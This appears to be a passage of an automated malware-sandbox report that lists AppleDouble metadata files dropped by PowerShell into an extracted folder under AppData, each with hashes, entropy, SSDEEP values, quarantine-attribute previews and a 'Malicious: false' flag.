Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.9305012323472686
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz3dVVEdFU3LVYiDKwLn:PgGA/SEKwviBXMlzd/Es3CiDKwLn
MD5:	ECA6E7C2234994405AD03C7766E82AB5
SHA1:	4804E6769D86021D6E11E182B34B0B893AB0AF81
SHA-256:	18DFA69B7C8EA710415EA2BA54D6EAD3C477283D22A60C470F6FD32F82CDAC39
SHA-512:	97418F511BCDF78FCD46D14EFF0789439B49401E2C9912BF65D1F9F29A350883DA31CC8B8DCF87F7B4C7F5889FE58A84073CCF3256930284F1D5A089ED41F11E
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d3;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._MyriadPro-BoldIt.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.9305012323472686
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz3dVVEdFU3LVYiDKwLn:PgGA/SEKwviBXMlzd/Es3CiDKwLn
MD5:	ECA6E7C2234994405AD03C7766E82AB5
SHA1:	4804E6769D86021D6E11E182B34B0B893AB0AF81
SHA-256:	18DFA69B7C8EA710415EA2BA54D6EAD3C477283D22A60C470F6FD32F82CDAC39
SHA-512:	97418F511BCDF78FCD46D14EFF0789439B49401E2C9912BF65D1F9F29A350883DA31CC8B8DCF87F7B4C7F5889FE58A84073CCF3256930284F1D5A089ED41F11E
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d3;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._MyriadPro-It.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.9305012323472686
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz3dVVEdFU3LVYiDKwLn:PgGA/SEKwviBXMlzd/Es3CiDKwLn
MD5:	ECA6E7C2234994405AD03C7766E82AB5
SHA1:	4804E6769D86021D6E11E182B34B0B893AB0AF81
SHA-256:	18DFA69B7C8EA710415EA2BA54D6EAD3C477283D22A60C470F6FD32F82CDAC39
SHA-512:	97418F511BCDF78FCD46D14EFF0789439B49401E2C9912BF65D1F9F29A350883DA31CC8B8DCF87F7B4C7F5889FE58A84073CCF3256930284F1D5A089ED41F11E
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d3;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._MyriadPro-Regular.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.9305012323472686
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz3dVVEdFU3LVYiDKwLn:PgGA/SEKwviBXMlzd/Es3CiDKwLn
MD5:	ECA6E7C2234994405AD03C7766E82AB5
SHA1:	4804E6769D86021D6E11E182B34B0B893AB0AF81
SHA-256:	18DFA69B7C8EA710415EA2BA54D6EAD3C477283D22A60C470F6FD32F82CDAC39
SHA-512:	97418F511BCDF78FCD46D14EFF0789439B49401E2C9912BF65D1F9F29A350883DA31CC8B8DCF87F7B4C7F5889FE58A84073CCF3256930284F1D5A089ED41F11E
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d3;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._Pfm

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.252130248469774
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2X1ltPk3//lftNMlllYdIwPXiBSK/doV5VVEdFU3LVYiDKw4F9rk4:PgGA/iwKwviBn/6/Es3CiDKwm
MD5:	8853023A3BCECF49D13EFC47EF0819B6
SHA1:	24C7F9DB82E8912CC9D0999652D22ACAB5D260A4
SHA-256:	D399FF152CA28B502F7A422375C21F70F4D012FC730441606F6DFCD7252C0864
SHA-512:	BD262F63147EC80DE1B48EC3AE1C715DC1E2DD479CD8740073AF4DF81DC40E01B830988D442FD34DD3E37604846FA413984781E298EFFBE81CDD751DA0E5E9EE
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;CC95529B-2071-412E-A179-612E6C504256.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._SY______.PFB

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.9305012323472686
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz3dVVEdFU3LVYiDKwLn:PgGA/SEKwviBXMlzd/Es3CiDKwLn
MD5:	ECA6E7C2234994405AD03C7766E82AB5
SHA1:	4804E6769D86021D6E11E182B34B0B893AB0AF81
SHA-256:	18DFA69B7C8EA710415EA2BA54D6EAD3C477283D22A60C470F6FD32F82CDAC39
SHA-512:	97418F511BCDF78FCD46D14EFF0789439B49401E2C9912BF65D1F9F29A350883DA31CC8B8DCF87F7B4C7F5889FE58A84073CCF3256930284F1D5A089ED41F11E
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d3;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._ZX______.PFB

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\._ZY______.PFB

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\._CMap

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.292848751299037
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2X1ltPk3//lftNMlllYdIwPXiBSK/doV5VVEdFU3LVYiDKwX3zmVZ:PgGA/iwKwviBn/6/Es3CiDKwzmVV/n
MD5:	76412BE4DBEE304D5E3FFB49BE6EF641
SHA1:	EB2F70C6C5AED66A9526B369B820817DCF6B69D1
SHA-256:	14A1B7BDCBF0F7C0AB0D2DA17DF7729B5BDA4A930901D3645E0B4B280ACFF6F5
SHA-512:	3A196FC852C5D27217B01E27BB7C8F5C5805403C199A15868C1C6A5B8137EDB4F2127F6451EF16FA28C0C3ADEDF5D42EBA72077EE3E3A99DD97B97CD7FF7CD8D
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;41C74196-9181-4382-98CC-ADF1E6098CEA.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\._Font

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.304382065234617
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2X1ltPk3//lftNMlllYdIwPXiBSK/doV5VVEdFU3LVYiDKwEJ5Q3c:PgGA/iwKwviBn/6/Es3CiDKwEaZG
MD5:	44D8974C86C68094ADFE8E62B886199A
SHA1:	8A3623A635B419D9382281912FE6D2E98A13942A
SHA-256:	ABCB710B7E15334D5BF89F896A7E41DB5A3D90F989C9E9F25AF01909B2B714DE
SHA-512:	799B612BA3935D548210261A94EEB75D51AE05BDA96F5142B17574026736DE9E77FB9FF0159A7EFC450D19CDF151A8A2D0C6FC46A51467B06291C1CB3AC2C1B4
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;F31621FB-C851-49FE-A781-7A2B5428FA66.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\._Locals

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.2969262278007205
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2X1ltPk3//lftNMlllYdIwPXiBSK/doV5VVEdFU3LVYiDKwoXEFIO:PgGA/iwKwviBn/6/Es3CiDKwK/s6Y
MD5:	468C52864125BCF600881FBC78960FF1
SHA1:	6F464358271E76BD4CF19202953AFDBF884E4F27
SHA-256:	ECF36BC3C75662EF42C715CC38DD009653658E55D129CB96CB26DAD3FB7C8C34
SHA-512:	BABF5C1D213F7915164603E095A67DA6AA7D3ECEEF2F93E15B22BAC9F5571BAC60B5A07550220369D604DBBE78FA739B50CC2F61A4B78808C328B9AA49EF9E26
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;518C2591-AC35-4A10-A55E-4052E6886DBF.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\._SY______.PFM

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\._SaslPrep

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.312926227800721
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2X1ltPk3//lftNMlllYdIwPXiBSK/doV5VVEdFU3LVYiDKw5YUu7l:PgGA/iwKwviBn/6/Es3CiDKw55uhn
MD5:	27BC9984CE20F1D8FEB7B39AF68AF48A
SHA1:	2172264C7D3FC63AB18F63506DD124CBB7F950E2
SHA-256:	1F92E0CDF8C436634C9B426202DAFA2E2F8B37CD354DF6D20C6B6366E06E9073
SHA-512:	603938AE5FBCEC160D28003ED1C3F5D2FD81FBEA0B7FC568CECA112F1C17D2852C403BC139B56BCA51C8C525321F1960EE16429F6BF52850623F08FFEC30C035
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;9F3F45A4-1D3D-4093-A2B4-482CE608BF1E.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\._TypeSupport

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.257913909932109
Encrypted:	false
SSDEEP:	6:PgGA/iwKwviBn/6/Es3CiDKwYfQgFVmOUi:PgF/iwRvaYl7i
MD5:	10487F684B20FBCC08B48C5557F97CED
SHA1:	C7D54E915C6B55C1D229360D6EF90D9C9B272D0D
SHA-256:	89288BE72F950E2176889B55B5CC24EBF81F21169482FEAC9D5BB57213D21AAC
SHA-512:	09D494D37F7474165FCF12A63ECB00084325EBE1C8D14DA640D99B8A7859564069370AE5B80F2A8070D50868CA2C04361CAFF1C521F787E67CF75A64F49814F6
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............b.......................b...com.apple.quarantine.q/0087;00000000;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;0BA0F46F-14A0-406C-9AB2-862577328C13.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\._opengl64.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\._resources.pak

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\._zx______.pfm

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\._zy______.pfm

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\CMap\._Identity-H

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\CMap\._Identity-V

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\CMap\._UCS2-GBK-EUC

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\CMap\._UniKS-UTF16-H

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\CMap\._UniKS-UTF16-V

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._AdobePIStd.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._CourierStd-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._CourierStd-BoldOblique.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
SSDEEP:	3:PFoESNt/FPl2Xpltjk3//lztpMlll8dIwPXiBXeTlz5YV5VVEdFU3LVYiDKwLn:PgGA/SEKwviBXMl10/Es3CiDKwLn
MD5:	48AA1AB4BBDFA64A4A70B06827FF621E
SHA1:	91D9BEBE5608FEBE247D9459BF848563850B73FB
SHA-256:	1EC7225D089D90DD0C1F60EB1BE665BDE4D82472FD8F657F6BF40FCD09804B6F
SHA-512:	54E4C55BD86C91363752E6B86CF04FF4C10000666A3A97D978AAD21B8A9B07A23EA0CEF1FBA81CA894AE284DF2AB253C89CD8C04ADA5354EF273822E52BF6007
Malicious:	false
Preview:	........Mac OS X .........2..................................................ATTR...............>.......................>...com.apple.quarantine.q/0082;673e36d2;Unzip\x20-\x20RAR\x20ZIP\x207Z\x20Unarchiver;.

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\resource_\Font\Pfm\Font\._CourierStd-Oblique.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
Entropy (8bit):	3.923054372331225
Encrypted:	false
